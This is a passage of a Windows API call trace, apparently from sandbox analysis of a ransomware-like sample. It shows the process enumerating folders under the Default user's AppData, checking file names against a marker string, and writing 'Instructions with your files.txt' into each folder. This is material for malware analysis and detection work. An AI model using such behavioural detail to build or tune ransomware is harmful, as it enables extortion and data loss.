[0132.217] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD") returned 75
[0132.217] StrStrIW (lpFirst="WMSDKNS.DTD", lpSrch="SDfghjkl") returned 0x0
[0132.217] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 1
[0132.217] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML") returned 75
[0132.217] StrStrIW (lpFirst="WMSDKNS.XML", lpSrch="SDfghjkl") returned 0x0
[0132.217] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 0
[0132.217] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\Instructions with your files.txt") returned 96
[0132.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.218] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.219] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.219] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.219] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.219] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.219] CloseHandle (hObject=0x11c) returned 1
[0132.219] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.219] GetProcessHeap () returned 0x810000
[0132.219] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.219] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0
[0132.219] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\Instructions with your files.txt") returned 91
[0132.219] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.220] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.220] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.220] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.221] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.221] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.221] CloseHandle (hObject=0x118) returned 1
[0132.221] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.221] GetProcessHeap () returned 0x810000
[0132.221] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.221] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
[0132.221] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar") returned 60
[0132.221] GetProcessHeap () returned 0x810000
[0132.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0132.221] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*") returned 62
[0132.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0132.222] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\.") returned 62
[0132.222] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.222] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\..") returned 63
[0132.222] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
[0132.222] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned 68
[0132.222] GetProcessHeap () returned 0x810000
[0132.222] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0132.222] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*") returned 70
[0132.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0132.222] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\.") returned 70
[0132.222] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.223] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\..") returned 71
[0132.223] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0132.223] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\Instructions with your files.txt") returned 101
[0132.223] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0132.223] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0132.224] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0132.224] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0132.224] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0132.224] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0132.224] CloseHandle (hObject=0x11c) returned 1
[0132.224] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0132.224] GetProcessHeap () returned 0x810000
[0132.224] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0132.224] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
[0132.224] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini") returned 73
[0132.224] StrStrIW (lpFirst="Settings.ini", lpSrch="SDfghjkl") returned 0x0
[0132.224] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 0
[0132.225] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Instructions with your files.txt") returned 93
[0132.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0132.225] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0132.226] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0132.226] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0132.226] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0132.226] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0132.226] CloseHandle (hObject=0x118) returned 1
[0132.226] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0132.226] GetProcessHeap () returned 0x810000
[0132.226] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0132.226] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0
[0132.226] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Instructions with your files.txt") returned 77
[0132.226] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.227] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.227] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.228] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0132.228] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0132.228] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.228] CloseHandle (hObject=0x114) returned 1
[0132.228] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.228] GetProcessHeap () returned 0x810000
[0132.228] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.228] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
[0132.228] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp") returned 39
[0132.228] GetProcessHeap () returned 0x810000
[0132.228] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0132.228] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\*") returned 41
[0132.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0132.229] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\.") returned 41
[0132.229] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.229] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\..") returned 42
[0132.229] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
[0132.229] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 62
[0132.229] StrStrIW (lpFirst="FXSAPIDebugLogFile.txt", lpSrch="SDfghjkl") returned 0x0
[0132.229] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 0
[0132.229] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\Instructions with your files.txt") returned 72
[0132.229] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\Instructions with your files.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0132.230] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0132.230] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0132.231] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
